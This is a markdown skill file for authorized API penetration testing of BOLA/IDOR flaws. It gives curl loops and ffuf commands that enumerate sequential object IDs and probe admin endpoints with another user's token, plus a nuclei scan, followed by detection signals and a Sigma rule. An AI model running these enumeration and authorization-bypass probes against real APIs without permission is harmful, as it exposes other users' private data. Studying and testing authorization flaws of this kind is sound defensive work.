<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: testing-bola-vulnerabilities
description: >-
  Test APIs for Broken Object Level Authorization (BOLA/IDOR) by manipulating
  object identifiers to access unauthorized resources across horizontal and
  vertical privilege boundaries.
domain: cybersecurity
subdomain: api-security
tags:
  - bola
  - idor
  - api-security
  - owasp-api1
  - authorization
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190"]
  owasp-api: ["API1"]
  tools: ["curl", "ffuf", "burp-suite", "nuclei"]
---

# Testing BOLA Vulnerabilities

## Overview

Broken Object Level Authorization (BOLA) is the #1 OWASP API vulnerability.
It occurs when an API fails to verify that the requesting user has permission
to access the specific object referenced in the request. This enables horizontal
privilege escalation (accessing other users' data) and vertical escalation
(accessing admin resources).

## Prerequisites

- Tools: ["curl", "ffuf", "burp-suite", "nuclei"]
- Two or more test accounts with different privilege levels
- Authorized testing engagement with written scope

## Key Concepts

- **Horizontal BOLA**: User A accesses User B's objects at the same privilege level
- **Vertical BOLA**: Regular user accesses admin-level objects
- **Object ID types**: Sequential integers, UUIDs, slugs, encoded references
- **Predictable IDs**: Sequential/guessable identifiers increase BOLA risk

## Workflow

### Step 1: Identify Object References

Map all endpoints that reference objects by ID:

```bash
# Extract endpoints with object IDs from API documentation
grep -rE '/api/[a-z]+/[{:][a-z_]*id' openapi.yaml | sort -u

# Proxy traffic to discover object-referencing endpoints
mitmproxy --mode regular -w api_traffic.flow
# Then filter for ID patterns
mitmdump -r api_traffic.flow -n --set flow_detail=2 | \
  grep -oE '/api/[a-z]+/[0-9a-f-]+' | sort -u
```

### Step 2: Horizontal BOLA Testing

```bash
# Create two test users and capture their tokens
USER_A_TOKEN="eyJ..."
USER_B_TOKEN="eyJ..."

# Get User A's resource IDs
USER_A_ORDERS=$(curl -s -H "Authorization: Bearer $USER_A_TOKEN" \
  https://target.com/api/orders | jq -r '.[].id')

# Attempt to access User A's orders with User B's token
for ORDER_ID in $USER_A_ORDERS; do
  RESP=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $USER_B_TOKEN" \
    "https://target.com/api/orders/$ORDER_ID")
  echo "Order $ORDER_ID: HTTP $RESP"
done

# Sequential ID enumeration
ffuf -u "https://target.com/api/users/FUZZ/profile" \
  -w <(seq 1 500) \
  -H "Authorization: Bearer $USER_B_TOKEN" \
  -mc 200 -o bola_results.json -of json
```

### Step 3: Vertical BOLA Testing

```bash
# Test admin endpoints with regular user token
ADMIN_ENDPOINTS=(
  "/api/admin/users"
  "/api/admin/config"
  "/api/internal/metrics"
  "/api/users/all"
  "/api/reports/global"
)

for EP in "${ADMIN_ENDPOINTS[@]}"; do
  RESP=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $USER_TOKEN" \
    "https://target.com$EP")
  echo "$EP: HTTP $RESP"
done
```

### Step 4: UUID/GUID BOLA Testing

```bash
# Check if UUIDs are sequential (v1 UUIDs leak timestamps)
python3 -c "
import uuid
test_id = 'f47ac10b-58cc-4372-a567-0e02b2c3d479'
u = uuid.UUID(test_id)
print(f'Version: {u.version}')
if u.version == 1:
    print('WARNING: UUIDv1 — timestamp-based, predictable')
    print(f'Timestamp: {u.time}')
"

# Fuzz UUIDs from leaked values
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.com/api/documents/f47ac10b-58cc-4372-a567-0e02b2c3d479"
```

### Step 5: Automated BOLA Scanning

```bash
# Nuclei BOLA templates
nuclei -u https://target.com -t http/vulnerabilities/generic-idor.yaml \
  -H "Authorization: Bearer $TOKEN"

# Burp Suite Authorize extension comparison
# 1. Configure low-priv token in Authorize
# 2. Browse app with high-priv token
# 3. Review Authorize results for authorization bypasses
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Cross-user object access | Application logs | User accessing objects owned by others |
| Sequential ID enumeration | API gateway | Requests iterating through numeric IDs |
| 403→200 pattern | WAF logs | Authorization bypass indicators |
| Unusual object access volume | SIEM | Single user accessing many distinct objects |

```yaml
title: Potential BOLA Sequential ID Enumeration
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects sequential object ID access patterns indicating BOLA testing
logsource:
  category: webserver
detection:
  selection:
    cs-uri-stem|re: '/api/[a-z]+/[0-9]+'
    sc-status: 200
  timeframe: 5m
  condition: selection | count() by c-ip > 30
falsepositives:
  - Pagination through list endpoints with numeric cursors
level: medium
tags:
  - attack.t1190
  - attack.initial_access
```

## Verification

- [ ] Horizontal BOLA tested across all object-referencing endpoints
- [ ] Vertical BOLA tested with different privilege levels
- [ ] UUID predictability assessed (v1 vs v4)
- [ ] Results documented with evidence
- [ ] Detection artifacts identified
- [ ] Cleanup performed after testing

## References

- [OWASP API1:2023 — Broken Object Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/)
- [Burp Suite Authorize Extension](https://portswigger.net/bappstore/authorize)
- [MITRE ATT&CK T1190](https://attack.mitre.org/techniques/T1190/)
